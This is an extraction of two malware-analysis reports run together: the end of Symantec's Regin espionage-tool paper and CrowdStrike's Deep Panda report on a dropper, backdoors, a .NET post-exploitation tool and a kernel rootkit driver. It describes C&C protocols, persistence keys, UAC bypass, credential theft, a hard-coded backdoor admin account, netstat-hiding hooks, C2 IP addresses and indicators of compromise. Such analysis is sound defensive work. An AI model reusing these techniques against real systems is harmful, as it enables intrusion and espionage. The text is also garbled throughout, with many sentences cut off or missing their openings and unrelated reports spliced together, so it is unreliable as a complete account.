Furthermore, compromised
computers can serve as a proxy for other         Table 5.
The container’s sectors
infections and command and control can           Offset      Type                   Description
also happen in a peer-to-peer fashion.
All
00h         DWORD                  Next sector offset, or 0
communications are strongly encrypted and
can happen in a two-stage fashion where the      04h         BYTE[sectsize-4]       Data
attacker may contact a compromised computer
using one channel to instruct it to begin
communications on a different channel.
Four transport protocols are available for C&C:
•	 ICMP: Payload information can be encoded and embedded in lieu of legitimate ICMP/ping data.
The string
‘shit’ is scattered in the packet for data validation.
In addition, CRC checks use the seed ‘31337’.
•	 UDP: Raw UDP payload
•	 TCP: Raw TCP payload
•	 HTTP: Payload information can be encoded and embedded within cookie data under the names SESSID,
SMSWAP, TW, WINKER, TIMESET, LASTVISIT, AST.NET_SessionId, PHPSESSID, or phpAds_d.
This information
can be combined with another cookie for validation under the names USERIDTK, UID, GRID, UID=PREF=ID, TM,
__utma, LM, TMARK, VERSION, or CURRENT
The C&C operations are undertaken by various modules, including major groups C373h, 19h, 9, as well as Stage
5 payloads, such as C375h and 1Bh.
Logging
Regin logs data to the ApplicationLog.dat file.
This file is not an encrypted container, but it is encrypted and
compressed.
Page 12
PAYLOADS
The extensible
nature of Regin and
its custom payloads
indicate that many
payloads are likely
to exist in order to
enhance Regin’s
capabilities...
Regin: Top-tier espionage tool enables stealthy surveillance
Payloads
Regin can be distributed with various payload modules or receive payload modules after infection.
The
extensible nature of Regin and its custom payloads indicate that many additional payloads are likely to exist in
order to enhance Regin’s capabilities.
Furthermore, we have found data files accompanying payload modules
that have not been recovered.
The following table describes the Stage 4 kernel payload modules and Stage 5
user mode payload modules, which we have seen several variants of Regin use.
Table 6.
Regin’s stage 4 kernel payload modules and stage 5 user mode payload modules
File type Major       Description
SYS       0003        Driver
SYS       C433        Rootkit
SYS       C42B        PE loader
SYS       C42D        DLL injection
SYS       C3C3        Network packet filter driver similar to the WinPCap (protocol filter version 3.5)
Used to set TCP and UDP pass-through filters and to bypass firewalls.
Executes BPF (Berkeley Packet Filter) bytecode, stored in Stage 5 data files.
SYS       4E69        Network port blocker
DLL       C363        Network packet capture
DLL       4E3B        Retrieve proxy information for a web browser (Internet Explorer, Netscape, Firefox) through registry or configu-
ration files (for example, prefs.js, refs.js, etc.)
Enumerate sessions and user accounts
DLL       290B        Password stealer
•	  Windows Explorer credentials
•	  Windows Explorer pstore records
•	  Internet Explorer LegacySettings
•	  Data for a Winlogon notification package named “cryptpp”
DLL       C375        C&C HTTP/cookies
DLL       C383        SSL communications
DLL       C361        Supporting cryptography functions
DLL       001B        ICMP backchannel
DLL       C399        Record builder for ApplicationLog.
Evt
DLL       C39F        Processes file: %Temp%\~b3y7f.tmp
DLL       C3A1        Miscellaneous functions
DLL       28A5        Miscellaneous functions
DLL       C3C1        Miscellaneous functions
DLL       C3B5        Gather system information
•	  CPUMemory
•	  Drives and shares
•	  Devices
•	  Windows information (including type, version, license info, owner info)
•	  Installed software
•	  Running processes (through HKEY_PERFORMANCE_DATA id 230)
•	  Services
•	  Schedules tasks and jobs
•	  Running desktop sessions
•	  User accounts information
•	  System’s auditing rules/policy
•	  System time and Windows install time
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Regin: Top-tier espionage tool enables stealthy surveillance
DLL        C36B       UI manipulation
•	   Capture screenshots
•	   Log keystrokes
•	   Lock the workstation/input Ctrl-Alt-Del
•	   Click functionality (through three commands: go, click & release, return to original position)
•	   End processes
DLL        C351       File system exploration primitives and forensic level exploration including a raw NTFS parser
•	    Get miscellaneous file information and properties
•	    Browse directories
•	    Read and write files
•	    Move and copy files
•	    Read and recover partially or fully deleted files
•	    Compute file hashes
DLL        2B5D       Process and module manipulation
•	   Read processes and modules
•	   Processes running times, quotas, privileges
•	   Skip Russian or English Microsoft files when scanning
•	   Check for newly introduced PE files in the last two days
DLL        C3CD       Enumerate TCP/IP interfaces from %System%\CurrentControlSet\Services\Tcpip\Linkage\bind
DLL        C38F       TCPDump utility
DLL        C3C5       Libnet binary
DLL        27E9       IIS web server log theft
Enumeration through COM objects to find IIS logs.
Ability to retrieve partial or complete log information.
•	   Partial: Log type, last log, older log timestamps
•	   Complete: Entire log data is exfiltrated
The IIS web server log stealing module, 27E9h, is an example of a payload module that was installed after the initial
infection and was specifically deployed for a particular target.
64-bit version
Only a small amount of the 64-bit Regin files have been recovered.
These samples may represent version 2.0 or
their differences may possibly be solely specific to 64-bit versions of Regin.
We also recovered files from infected
computers that may or may not be associated with 64-bit Regin, including several variants of svcsstat.exe, a file that
aims to retrieve binary data over pipes or sockets and execute the data.
File names
The recovered files do not appear to fundamentally vary from their 32-bit counterparts, apart from a few noteworthy
differences.
The 32-bit and 64-bit versions of Regin use different file names.
These differences are shown in the first section of
this paper as well as in the appendix.
Most importantly, in the 64-bit version of Regin, the names of containers are
changed:
•	 PINTLGBP.IMD replaces SystemLog.
Evt
•	 PINTLGBPS.IMD replaces SecurityLog.
Evt
Stage differences
The 64-bit version of Regin’s Stage 1 (wshnetc.dll) is no longer a kernel mode driver, as drivers under 64-bit Windows
must be signed.
Instead, Stage 1 is a user mode DLL loaded as a Winsock helper when the computer is starting
up.
Rather than loading Stage 2 from an NTFS extended attribute, Stage 1 looks for the last partition (in terms of
Page 15
Regin: Top-tier espionage tool enables stealthy surveillance
physical location) on disk and searches for the payload in the raw sectors in this area of the disk.
The 64-bit Regin’s Stage 3 has not been recovered.
We believe that it may not exist, as the 32-bit version is a driver.
Stage 4 is an orchestrator just like its 32-bit counterpart and it uses the same major and minor values to export
functionality.
Stage 5 uses the following filenames:
•	 %Windir%\IME\IMESC5\DICTS\PINTLGBP.IMD contains Stage 5 user payloads, replacing SystemLog.
Evt in the
32-bit version
•	 %Windir%\IME\IMESC5\DICTS\PINTLGBS.IMD contains Stage 5 data files, replacing SecurityLog.
Evt in the 32-bit
version
•	 The equivalent files for SystemAudit.
Evt and SecurityAudit.
Evt were not recovered
No Stage 5 payload modules have been recovered.
Conclusion
Regin is a highly-complex threat which has been used for large-scale data collection or intelligence gathering
campaigns.
The development and operation of this threat would have required a significant investment of time
and resources.
Threats of this nature are rare and are only comparable to the Stuxnet/Duqu family of malware.
The discovery of Regin serves to highlight how significant investments continue to be made into the development
of tools for use in intelligence gathering.
Many components of Regin have still gone undiscovered and additional
functionality and versions may exist.
Protection
Symantec and Norton products detect this threat as Backdoor.
Regin.
Page 16
APPENDIX
Regin: Top-tier espionage tool enables stealthy surveillance
Appendix
Data files
Regin’s data files are classified as Stage 5 components and are contained in an EVFS container.
Table 7.
Data files used by Stage 4’s framework DLL
Major      Minor      Description
0001       -          -
000D       -          -
000F       01         High-entropy blobs, cryptographic data
02         High-entropy blobs, cryptographic data
003D       -          -
0007       -          -
000B       01         Contains a path to the log file.
Typically, %System\config\ApplicationLog.
Evt
02         Small 8 byte files
0033       01         A single DWORD, such as 111Ch
03         A single DWORD, such as 1114h
0011       -          -
0013       01         Unknown list of records
02         A single byte, such as 3
C373       01         BPF bytecode for the netpcap driver—allows UDP passthrough
02         A WORD value, such as 1
0019       01         BPF bytecode for the netpcap driver—allows TCP passthrough
02         A WORD value, such as 1
0009       00         A single DWORD, such as 11030B15h
01         Contains C&C location information
02         C&C routines to be executed:
•	  (C375, 1) param= 08 02
•	  (19, 1) param= 44 57 58 00
•	  (C373, 1) param= 08 02
•	  (1B, 1) param= 20 00
03         Routines to be executed
•	   (4E69, 2)
•	   (19, 2)
•	   (1B, 2)
•	   (C373, 2)(
•	   C375, 2)
•	   (C383, 2)(C363, 2)
07         RC5 key used to decrypt command-and-control packets
09         Unknown data
0B         Unknown data
12         A single byte, such as 1
17         Unknown data
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Regin: Top-tier espionage tool enables stealthy surveillance
As the data files are stored in a container, they do      Table 8.
Data files used by Stage 5’s modules (payloads)
not have names.
Just like Stage 5 modules, they are
referenced by their filetag, which is the aggregation      Major        Minor       Description
of the major and minor identifiers.
The major              C363         02          6 bytes (01 00 00 00 00 00)
identifier indicates which major routine group likely      4E3B         -
handles or creates the file.
290B         -
Not all data files have been recovered, so the             C375         01          Dword (1)
information remains incomplete.
02          Dword (0)
Data files associated with Stage 4 kernel modules
C383         01          Dword (1)
have not been recovered
02          Dword (0)
Table 8 lists recovered data files used by Stage 5
10          64 bytes (512 bits)Diffie Hellman, p (prime)
modules.
11          Byte (2)Diffie Hellman, g (generator)
The associated modules that supposedly
manipulate those data files were not recovered.
C361         10          File containing timestamps and high
entropy dataUnclear
11          Dword (E10h)
12          Dword (2)
001B         -
C399         -
C39F         00          Small file, 18h bytes, low entropy
01          Unencrypted unicode path,
%Temp%\~B3Y7F.tmp
C3A1         01          Small file, 6 bytes (08 01 00 00 00 01)
28A5         02          Small file, 18h bytes, unknown
C3C1         -           -
C3B5         -           -
C36B         -           -
C351         -           -
2B5D         -          -
C3CD         -          -
C38F         -          -
C3C5         -          -
27E9         -          -
Table 9.
Orphaned data files
Major Minor Description
4E25    00        Byte (1)
01        Byte (2)
28A4    00        Unknown
02        Small file, 8 bytes (01 00 00 00 00 00 00 00)
DEAB    01        Small file, 8 bytes (00 00 01 01 04 00 00 00)
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Regin: Top-tier espionage tool enables stealthy surveillance
Indicators of compromise
The following details can be used to help determine whether you have been impacted by this threat.
File MD5s
2c8b9d2885543d7ade3cae98225e263b
4b6b86c7fec1c574706cecedf44abded
187044596bc1328efa0ed636d8aa4a5c
06665b96e293b23acc80451abb413e50
d240f06e98c8d3e647cbf4d442d79475
6662c390b2bbbd291ec7987388fc75d7
ffb0b9b5b610191051a7bdf0806e1e47
b29ca4f22ae7b7b25f79c1d4a421139d
1c024e599ac055312a4ab75b3950040a
ba7bb65634ce1e30c1e5415be3d1db1d
b505d65721bb2453d5039a389113b566
b269894f434657db2b15949641a67532
bfbe8c3ee78750c3a520480700e440f8
File names/paths
usbclass.sys
adpu160.sys
msrdc64.dat
msdcsvc.dat
%System%\config\SystemAudit.
Evt
%System%\config\SecurityAudit.
Evt
%System%\config\SystemLog.evt
%System%\config\ApplicationLog.evt
%Windir%\ime\imesc5\dicts\pintlgbs.imd
%Windir%\ime\imesc5\dicts\pintlgbp.imd
%Windir%\system32\winhttpc.dll
%Windir%\system32\wshnetc.dll
%Windir%\SysWow64\wshnetc.dll
%Windir%\system32\svcstat.exe
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Regin: Top-tier espionage tool enables stealthy surveillance
%Windir%\system32\svcsstat.exe
Extended attributes
%Windir%
%Windir%\cursors
%Windir%\fonts
%Windir%\System32
%Windir%\System32\drivers
Registry
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA58}
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\RestoreList\VideoBase
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793-
D0204917CA5A}
Page 21
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DEEP PANDA
INTELLIGENCE TEAM REPORT VER.
1.0
DEEP PANDA
11   EXECUTIVE SUMMARY                                                                       2
12   TECHNICAL ANALYSIS                                                                     3
Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5)                                3
Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d)                           5
Initial C2 Phone Home Beacon                                                     6
Network Protocol and Implementation                                              7
Backdoor Functionality, Supported Commands                                       7
Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133)                 8
Network Protocol and Implementation                                              9
Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537)                          10
C2 Communication Mechanisms                                                     12
C2 Command Invocation                                                           13
Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8)                         14
Entrypoint                                                                      14
13   MITIGATION / REMEDIATION                                                               18
Network Signatures                                                                   18
File System Artifacts                                                                19
Registry Artifacts                                                                   19
Other Artifacts                                                                      19
14   ATTRIBUTION                                                                            20
15   CONCLUSION                                                                             25
Dropper/Implant #1                                                                     25
Post Exploitation Tool                                                                 25
Implant #2                                                                             26
Backdoor DLL                                                                           26
System Driver                                                                          26
16   APPENDIX                                                                               27
Appendix A: Command Line Options for Post Exploitation Tool Sample                     27
Appendix B: Algorithm for computing machine ID                                         28
Appendix C: Remote Commands Supported by .NET Backdoor Post Exploitation Tool Sample   28
Appendix D: Raw bytes of example Authentication packet.
30
Appendix E: Initialization of KEY and IV for AES                                       30
Appendix F: Command & Control Servers                                                  31
Appendix G: Edward Sun’s kernel network hook code                                      32
Appendix H: Command and Control MD5 Correlation                                        41
DEEP PANDA
EXECUTIVE SUMMARY
The samples were clearly malicious and varied in sophistication.
All three samples provided remote access
to the attacker, via two Command and Control (C2) servers.
One sample is typical of what is commonly
referred to as a ‘dropper’ because its primary purpose is to write a malicious component to disk and connect
it to the targeted hosts operating system.
The malicious component in this case is what is commonly re-
ferred to as a Remote Access Tool (RAT), this RAT is manifested as a Dynamic Link Library (DLL) installed
as a service.
The second sample analyzed is a dual use tool that can function both as a post exploitation
tool used to infect other systems, download additional tools, remove log data, and itself be used as a
backdoor.
The third sample was a sophisticated implant that in addition to having multiple communication
capabilities, and the ability to act as a relay for other infected hosts, utilized a kernel mode driver that can
hide aspects of the tool from user-mode tools.
This third component is likely used for long-term
implantation and intelligence gathering.
Some AV engines occasionally identify this sample as Derusbi
Trojan.
CrowdStrike Intelligence Team has seen Trojans from 8 different builder variants of this RAT,
including 64-bit versions, used in targeted attacks in 2011 against Defense, Energy/Power, and Chemical
Industries in US and Japan.
target various strategic interests of the United States including High Tech/Heavy Industry,
Non-Governmental Organizations (NGOs), State/Federal Government, Defense Industrial Base (DIB), and
organizations with vast economic interests.
This report contains an in-depth technical analysis of the
samples, detection/remediation/mitigation information, attribution intelligence, and a conclusion aimed at
providing the reader with a synopsis of the report.
CROWDSTRIKE                                                                          S E N S I T I VE          2
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TECHNICAL ANALYSIS
Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5)
The executable 14c04f88dc97aef3e9b516ef208a2bf5 is commonly referred to as a ‘dropper’, which is
designed with the purpose of extracting from itself a malicious payload and to initialize and install it into a
targeted system.
In this case, the malicious payload is a Dynamic-Link Library (DLL), which enables an
attacker to have full control of the system.
This code appears to have been compiled on Wednesday May
4th, 2011 at 11:04:24 A.M. UTC (equivalent to early evening time in China).
Note that the timestamp is in
resolves several library functions provided by Microsoft using the LoadLibrary() and GetProcAddress()
Application Programming Interfaces (APIs).
The imported function names are not encrypted; however, the
function name is minutely obfuscated by a simple single character substitution:
//Obfuscation of GetTempPathA() API function call
strcpy((char *)ProcName, “2etTempPathA”);
ProcName[0] = ‘G’;
The dropper invokes the SHGetSpecialFolderPath() API supplying a Constant Special Item ID List (CSIDL)
of ‘CSIDL_COMMON_DOCUMENTS’ to identify the destination folder for the malicious DLL payload.
The
users.
A typical path is C:\Documents and Settings\All Users\Documents.”
available name in this set:
1.      infoadmn.dll
2.      infoctrs.dll
3.      infocardapi.dll
artifact which indicates the language setting on the compiler used by the person who built the binary was
CROWDSTRIKE                                                                           S E N S I T I VE            3
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code version.
Since the dropped resource is not compressed, the routine fails.
This indicates a low
parameter.
This export then implements the actual install logic to maintain persistence and invoke the main
routine.
The dropper binary contains an icon resource that resembles the ‘Google Chrome’ browser icon, the re-
systems language set to Chinese.
The use of the Chrome icon may indicate a possible attempt to socially
CROWDSTRIKE                                                                       S E N S I T I VE            4
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Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d)
14c04f88dc97aef3e9b516ef208a2bf5.
This code appears to have been compiled on Wednesday May 4th,
2011 at 10:48:19 A.M. UTC (equivalent to early evening time in China).
It is instantiated when it is mapped
service despite the appearance.
If the service is present, the malware replaces its previous instances or
versions of this backdoor.
After attempting to disable the existing service, the malware tries to install itself as
a service with that same name.
During installation, the sample attempts to use documented APIs such as
OpenSCManager() and CreateService() to initialize itself as a persistent Windows service.
As a
precaution, the sample writes settings directly to the Windows Registry to accomplish the same goal if
installing the service with the documented APIs fails.
The registry change creates the following key:
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msupdate\\Parameters
Following this, the subroutine will set the value of the ‘ServiceDLL’ to the module handle of the DLL.
The next key to be changed is:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost, which will have
the ‘msupdate’ key set to ‘msupdate’.
The export ‘CollectW3PerfData’ is registered as the main function of the DLL.
If the installation of the new
service is successful, the sample then starts the new service and exits.
If the installation fails, the sample
exported function.
In the case of installation failure, rundll32.exe calls the main functions export
over the machine, as rundll32.exe is frequently launched by tasks such as changing the time, wallpaper,
or other system settings.
This means that after cleaning up the components dropped by the malware, the
system remains vulnerable to local attacks by simply overwriting the legitimate rundll32.exe executable with
a malicious version and await it’s automatic execution by the Operating System.
Window with class “NOD32_%d” where %d is replaced with a pseudo-random number.
This may be an
attempt to fool some automated dynamic analysis or anti-malware software into believing this is the
After creating this window, the routine starts the main thread that eventually initiates calling out to the
Command and Control (C2).
In order to accomplish this task, the newly
CROWDSTRIKE                                                                            S E N S I T I VE           5
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created thread initializes networking APIs using WSAStartup() and resolves some other APIs dynamically
using LoadLibrary() and GetProcAddress().
Once the proper API’s have been resolved, the sample then
assigns a NULL SID to the rundll32.exe executable and sets the current process’ Window Station to
“winsta0”, which enables the sample to access the real user’s desktop if started as service.
The communication to the C2 is handled by a while() loop, with each successive connection attempt
causing the loop to invoke the Windows Sleep() API for a time interval of 2 seconds, exponentially
increasing in length up to 1024 seconds (17 minutes) and then restarting back to 2 seconds.
Initial C2 Phone Home Beacon
in the binary, using the User-Agent string “Google”, this code is not activated due to the format of the stat-
a raw socket to the C2 located at 1.9.5.38:443.
This indicates the use of a ‘boiler plate code’ or a builder
software package that automates the creation of the malicious sample.
The malicious sample sends an initial beacon to the C2 that includes the following information:
Desktop session or “none” otherwise.
The following python function can be used to decode the beacon stings:
def decode(crypted):
decoded=””
for x in crypted:
decoded+=chr(((ord(x)^(0x1C +1)) + (0x1C +1)) & 0xFF)
return decoded
CROWDSTRIKE                                                                          S E N S I T I VE            6
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After sending the initial beacon, the routine loops receiving incoming commands and executes them in
sequence.
When a connection can successfully be established to the C2 server, the sleep timer is reset to
two seconds for the next attempt.
Network Protocol and Implementation
The network protocol used by this sample resembles a ‘Type-Length-Value’ layout in both directions.
Each 16 byte request header consists of:
2.
A 4-byte little-endian payload length
3.
8 bytes remaining are a request header that is typically uninitialized and only used by some
commands instead of the arbitrary length payload
buffer of 408 bytes size.
Providing additional payload of any larger size will result in a trivial exploitable stack
exploitation of this vulnerability is unnecessary due to the already available unauthenticated command
execution capabilities of this backdoor.
Certain commands initiate a second connection to the C2 in a separate thread using the same network
Backdoor Functionality, Supported Commands
The primary aim of this backdoor is remote desktop control functionality comparable to VNC or Remote
Desktop over a custom protocol.
It allows the adversary to view the main desktop graphically and
control the keyboard and mouse.
This remote control functionality is implemented as separate messages
0x22000001 initiates continuous transmission of screen captures to the C2.
The screen captures are
created using a series of Microsoft Windows Graphic Device Interface (GDI) API calls culminating in a call to
GetDIBits().
Command 0x20000001 exits the backdoor and 0x20000000 is issued to completely remove the backdoor
from the system.
CROWDSTRIKE                                                                             S E N S I T I VE           7
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When command 0x23000004 is received, a temporary new user “_DomainUser_” with password “Dom4!nU-
serP4ss” is created and added to the local Administrators group.
The backdoor is then started under that
account and the user is deleted.
It would appear this technique is meant to obfuscate the activities of the
malicious sample by masking the process creator’s user name to appear to be a generic domain user.
Note
that such an account does not normally exist in an Active Directory environment.
Additionally, the primary C2 connection allows for requests to start additional connections to the C2 imple-
menting the following functionality:
killing of running processes
output of arbitrary executables; initiated by command 0x23000000
Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133)
This sample is typical of a post exploitation tool; it is written in .NET 2.0.
This code appears to have been
compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China).
The backdoor
functionality can be instantiated either directly from the command line or through commands issued over a
network based protocol via the C2.
If no arguments are given, a connection to the C2 is initiated to the stati-
C2.
line arguments can be viewed in Appendix A.
This activity is generally associated with log cleaning to com-
plicate a forensic investigation.
The sample contains an embedded IP address for C2 that is stored in an encrypted format as a string re-
source:
CROWDSTRIKE                                                                         S E N S I T I VE           8
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202.86.190.3:80 (Hong Kong: TeleOne(HK) Limited).
Network Protocol and Implementation
There are three components to the protocol:
Authentication is accomplished using a 32 byte packet, this packet consists of:
2.
A four byte random number generated by the rand() function
3.
The machine ID comprised of an obfuscated combination of the Machine name and hard drive
serial number.
The algorithm for generating this is in Appendix B
4.
The communication protocol version number, which in this sample is 0x2
5.
The version of the malicious sample, in this case it is 841
An example authentication packet sent to the C2 is located in Appendix E
to the client which is then RC4 encrypted using the random number generated in step 2 from above as the
password.
This value is then transformed using a simple algorithm in Appendix F into a 32 byte array.
The
up AES encryption which is then used to encrypt and decrypt any further communications.
CROWDSTRIKE                                                                       S E N S I T I VE          9
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Beacon, this is typical of this type of malicious sample, it allows the operator to separate various infected
hosts in a targeted campaign.
The beacon for this sample is formatted as XML and consists of:
An example of an unencrypted beacon:
<?xml version=”1.0” encoding=”utf-16”?>
<BasicInfo xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.
w3.org/2001/XMLSchema”>
<HostName> Infected System Hostname</HostName>
<int_0>-8</int_0>
<osVersion>Microsoft Windows NT 6.1.7601 Service Pack 1</osVersion>
<string_0>12/27/2011 16:34:36</string_0>
<Version>2</Version>
</BasicInfo>
Command handling loop, this is a loop structure that will process and execute commands sent by the C2.
The malware sends and receives a heartbeat/keepalive packet every 2 minutes.
The command format is
derived from a structure consisting of:
description of the possible values for commands is in Appendix D. It is important to note that the order in
calling methods on those assemblies, connecting to new C2 servers and executing processes.
Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537)
Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537)
This sample is a sophisticated backdoor which implements several communications protocols and was
UTC (late evening time in China).
The code contains several Run Time Type Information (RTTI) artifacts that
CROWDSTRIKE                                                                          S E N S I T I VE           10
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Variants of this Trojan are sometimes detected under the name ‘Derusbi’ by Microsoft, Trend, Sophos and
Symantec AV engines.
This sample is a DLL which can be registered as a service and is used to drop a kernel driver and provide
an interactive command line shell to the C2.
It also is able to bypass User Account Control (UAC) to install
itself by using the ‘sysprep.exe’ Microsoft Windows executable provided by the targeted system.
The steps it
takes to install itself onto a system are as follows:
1.
Copies itself to to %WINDIR%\system32\Msres<3 random characters>.ttf
the current system time when the copy was made but with the year changed to 2005.
MACHINE\\SYSTEM\\CurrentControlSet\\Services\\<service>” This defaults to “wuauserv”,
4.
Adds itself to list of services started by ‘netsvc’ using the service name ‘helpsvc’.
5.
If McAfee AV is installed, creates a copy of regsvr32.exe named Update.exe and then schedules
the copy to be deleted on reboot using the well documented MoveFileExA API.
6.
It then calls either the original or copy of regsvr32.exe with the parameters /s /u and the path to
the copy of itself it made in Step 1.
The /u parameter means “uninstall”, which calls
DllUnregisterServer, this is an unsophisticated method of DLL entry point obfuscation.
7.
DllUnregisterServer installs the driver and initiates the backdoor component.
exe” is running (AntiVirus360 program from the Chinese ‘Quihoo 360 Technology Co., LTD’ 360              ),
or the username of the DLL’s host process context is not ‘SYSTEM’, the driver is not written to disk.
Barring
the two aforementioned conditions, the sample decrypts the kernel driver to:
“%sysdir%\Drivers\{6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222}.sys”
-
hash of dae6b9b3b8e39b08b10a51a6457444d8.
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security”
code.
CROWDSTRIKE                                                                         S E N S I T I VE             11
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the backdoor then loads the original service’s DLL into the address space with LoadLibrary and invokes the
ServiceMain export.
This effectively hijacks the original service’s entry while retaining its functionality.
While there is code in the binary that allows downloading a list of C2 servers from an HTTP URL, the default
the one used by the post exploitation .NET tool.
C2 Communication Mechanisms
The malware has three distinct C2 protocols two of which can be transmitted over HTTP proxies and one
can be bundled in two different ‘dual’ modes (see 3.
), totaling 7 distinct supported C2 mechanisms.
The con-
1.
Proprietary binary header (optionally over an HTTP Proxy using CONNECT mechanism); this
protocol consists of 64 random bytes being sent to the C2.
The C2 then responds with 64 bytes
bytes rotated right by seven bits and compares that value to the seven bits rotated right version of
the server’s response, effectively neutralizing the rotation’s effect; the purpose of this is unclear.
request string including HTTP headers (optionally over a HTTP Proxy using CONNECT).
The
malware requires the response to start with “HTTP/1.0 200” or “HTTP/1.1 200” and an absence of
a “Connection: close” header.
This one HTTP connection will be used for bi-directional
communications, sending chunks of POST payload and receiving chunks of the response,
interleaved.
3.
Two long-running HTTP requests to the same C2 (optionally over an HTTP Proxy with original
request verb), one GET request to “/Photos/Query.cgi?loginid=” followed by a random number
and one POST request to “/Catelog/login1.cgi”.
The GET request serves as a down-stream
channel while the POST request serves as a upstream channel.
legitimate appearing channels as required in order to appear Request For Comment (RFC) compliant with
the HTTP protocol.
CROWDSTRIKE                                                                         S E N S I T I VE           12
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due to time constraints.
After establishing any of the aforementioned channels for arbitrary binary data exchange, the malware will
start sending and receiving compressed binary blobs via the channel of choice.
The C2’s binary data blobs
are compressed.
No further encryption of the data takes place.
All C2 transport implementations contain code for accepting and handling server-side connections of the
respective protocols.
However, this code does not appear to be invoked.
It appears that the author of this
code shares the library that implements these transports for the client with the C2 server.
C2 Command Invocation
The main backdoor thread then reads commands from the chosen C2 protocol and passes them on to any
of the following registered handler classes based upon a command ID.
The handler class is responsible for
parsing the remainder of the command.
PCC_PROXY: TCP Proxy
This handler class implements a generic TCP proxy.
It supports establishing TCP connections to other hosts
and also listening for incoming connections.
The incoming connection contents are forwarded to the C2 and
data from the C2 is passed on to connections.
It supports up to 1024 parallel connections.
PCC_MISC : Gather and report system information
The malware is capable of gathering various pieces of information from the system, triggered by a command
ID 10.
The capabilities include recovering authentication credentials from various system and client storage
such as Mozilla Firefox, Internet Explorer, and Remote Access Service (RAS).
This class also supports
gathering intelligence on the infected system including identifying security tools by their process name, proxy
accounts, and version numbers for the Operating System (OS) and Internet Explorer.
PCC_SYS: System Management
This handler class provides the attacker with the ability to manage system components including start/stop/
delete system services, enumerate/alter registry keys, and manage running processes.
This class also
provides the ability for the attacker to take a screen shot of the users desktop.
INTERNAL_CMD: Command-Line Shell
CROWDSTRIKE                                                                         S E N S I T I VE          13
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This handler class uses the command ID 5 and implements an interactive command line shell accessible
from the C2 server, containing a series of built-in commands.
If the input is not in this list of built-in
commands, the malware attempts to invoke cmd.exe in the background, launching a command or command
line utility already present on the system.
The standard output channel of that command is provided back to
the C2.
The supported built-in commands are:
Kill Switch / Self-Destruction
The only command that is implemented directly in the main backdoor thread as a subprocedure call and not
via a generic command handler class is command ID 256.
This command results in the DLL deleting itself
and terminating the backdoor process.
Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8)
This sample is a packed 32-bit kernel driver extracted by the aforementioned DLL with an MD5 hash of:
de7500fc1065a081180841f32f06a537, this sample will only function on a Windows 32-bit kernel.
This code
appears to have been compiled on Sunday October 9, 2011 at 4:50:31 P.M. UTC (very early morning time
of Monday, October 10 in China).
Entrypoint
This section describes how the driver performs its initialization routine.
Multiple Instance Protection
The driver begins by opening a named event in the BaseNamedObjects object directory with the name
exists, the driver fails to load, presumably to avoid a
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multiple instances of itself.
If the event does not exist, the driver then creates it using the Windows API
and indicative of relatively limited Windows API knowledge of the author of that part of the code.
It is
interesting to note that some of the hex digits in the object name are mixed case which is potentially
indicative of the code being re-appropriated from another source.
Anti-Debugging Protection
The second component of the entry point performs an anti-debugging technique, calling the function
KdDisableDebugger(), which allows the driver to disable usage of the built-in Windows kernel debugging
facility that is used by popular kernel debuggers KD and WinDbg.
Tools such as Syser Debugger, or
debugging through a virtual machine are unaffected by this technique.
The sample, rather than importing the
KdDisableDebugger() API using conventional methods, looks up the API through
MmGetSystemRoutineAddress() instead.
All of the other APIs used by the driver are imported normally, so
this is not a technique to hide import APIs used throughout the driver.
Searching Google for
“MmGetSystemRoutineAddress” and “KdDisableDebugger” results in dozens of Chinese language blogs
which explain how to use this technique to “Disable WinDbg”.
Hooking
is designed to hook the system call table, while the other hooks the network stack.
Network Stack Hooking
the version is necessary because Windows versions beginning with Vista utilize a redesigned TCP/IP net-
work stack, most hooking operations will require a different implementation for these versions.
On versions
prior to Windows Vista, the TCP/IP driver creates a \Device\Tcp device object through which most network
requests are piped through.
On Vista and later, TCP/IP has been split up into multiple components, and IP
connection enumeration, which this driver is targeting, is managed by \Device\nsiproxy instead.
In either case, the driver obtains the device object by using IoGetDeviceObjectPointer() and hooks Major
Function 14 the IRP_MJ_DEVICE_CONTROL, as this is the function through which all Input Output
ConTroLls (IOCTLs) are sent, such as the IOCTL for querying active IP connections.
Network Store Interface (NSI) Hook
The NSI hook, targets IOCTL 0x12001B, which is used by NsiGetObjectAllParameters() in nsi.dll when
users typically run commands such as netstat.exe or use any of the IP Helper APIs in iphlpapi.dll.
The
purpose of the hook is to scan the list of active connections returned to the user, and hide any such
connection currently bound to a local TCP port in
CROWDSTRIKE                                                                           S E N S I T I VE        15
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the range between 40000 and 45000.
The hooking is performed by creating a new completion routine
associated with any IRP_MJ_DEVICE_CONTROL IRP that matches the IOCTL, attaching to the target
process, performing several memory copies to hide the entry, and detaching.
This functionality is nearly identical to the code posted by Edward Sun (aka cardmagic, sunmy1@sina.com,
onlyonejazz@hotmail.com, cardcian@mail.ustc.edu.cn, QQ# 28025945) from Hefei, Anhui province
(Nanjing Military District) on July 8, 2007, then a China-based researcher at Trend Micro (now working at
at
http://forum.eviloctal.com/viewthread.php?action=printable&tid=29604 (See Appendix G).
CrowdStrike has
no information connecting Mr. Sun to this intrusion activity, his code appears to have been appropriated by
the actor to add similar functionality to their code.
TCP Hook
